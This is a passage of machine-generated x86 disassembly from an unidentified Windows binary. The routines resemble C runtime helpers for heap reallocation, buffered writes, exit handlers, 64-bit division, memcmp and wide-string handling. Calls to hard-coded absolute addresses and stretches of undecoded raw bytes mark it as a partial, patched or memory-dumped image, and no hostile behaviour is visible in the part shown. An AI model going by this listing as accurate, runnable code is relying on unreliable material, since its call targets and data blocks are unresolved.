		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax


loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0


loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------


loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	loc_41958F


loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_4CF020
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi


loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h


loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542


loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi


loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4CF024
		call	near ptr 2730000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi


loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h


loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567


loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi


loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		mov	edi, eax


loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588


loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_4CDA14, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------


loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------


loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi


loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_435EB4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------


loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi


loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h


loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588


loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_4CF024
		call	near ptr 2730000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi


loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------


loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		mov	edi, eax


loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588


loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_4CDA14, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------


loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi


loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_4196EA


loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_4CDA14, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA


loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax


loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------


loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------


loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax


loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE


loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------


loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx


loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5


loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------


loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1


loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]


loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------


loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi


loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26B0365h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2670ADCh
		push	eax
		call	sub_41EF44
		pop	ecx


loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_4CD9B4, 0Dh
		mov	dword_4CD9B8, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------


loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6


loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi


loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi


loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A


loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D


loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------


loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh


loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0


loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax


loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3


loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9


loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_4CDA48, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3


loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------


loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		nop
		call	near ptr 2670ADCh
		cmp	eax, 7Ah
		jz	short loc_419A44


loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_433C70
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax


loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C


loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------


loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_4CDA48, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------


loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2650000h
		cmp	eax, esi
		jz	short loc_419A35


loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax


loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_433C3C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73


loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4CD9FC, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		nop
		call	near ptr 27A0DABh
		push	eax
		nop
		call	near ptr 27F0BA6h


loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4CD9F8, edi
		mov	byte_4CD9F4, bl
		jnz	short loc_419B78
		mov	eax, dword_4CF03C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_4CF038
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66


loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax


loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_4CF03C
		jnb	short loc_419B53


loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi


loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx


loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_4CD9FC, edi
		nop
		call	near ptr 77E75CB5h


loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax


loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 27E0D27h
		test	eax, eax
		jnz	short loc_419BD0
		call	near ptr 2670ADCh
		nop
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------


loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax


loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 3C121FDh, 61685D3Ah,	0BE9BF8AFh, 64F4402Ah, 0A1h, 89645000h
		dd 25h,	58EC8300h, 89575653h, 0E890E865h, 2437ED6h, 0D48AD233h
		dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h,	4CD9C8h
		dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h
		dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah,	59000000h
		dd 0E8FC7589h, 5967h, 7E4CE890h, 2CA30243h, 0E8004CF0h
		dd 5825h, 4CDA00A3h, 55CEE800h,	10E80000h, 0E8000055h
		dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 436377E8h,	54A1E802h
		dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
		dd 9C75FF50h, 0C3E85656h, 90023270h, 49F7E850h,	4589FFFFh
		dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h
		dd 52DFh, 8BC35959h, 75FFE865h,	0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_4CDA08, 1
		jnz	short loc_419CE8
		call	sub_41F84C


loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_433C60
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4CDA083Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0A5BF94E8h
		db 77h,	90h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
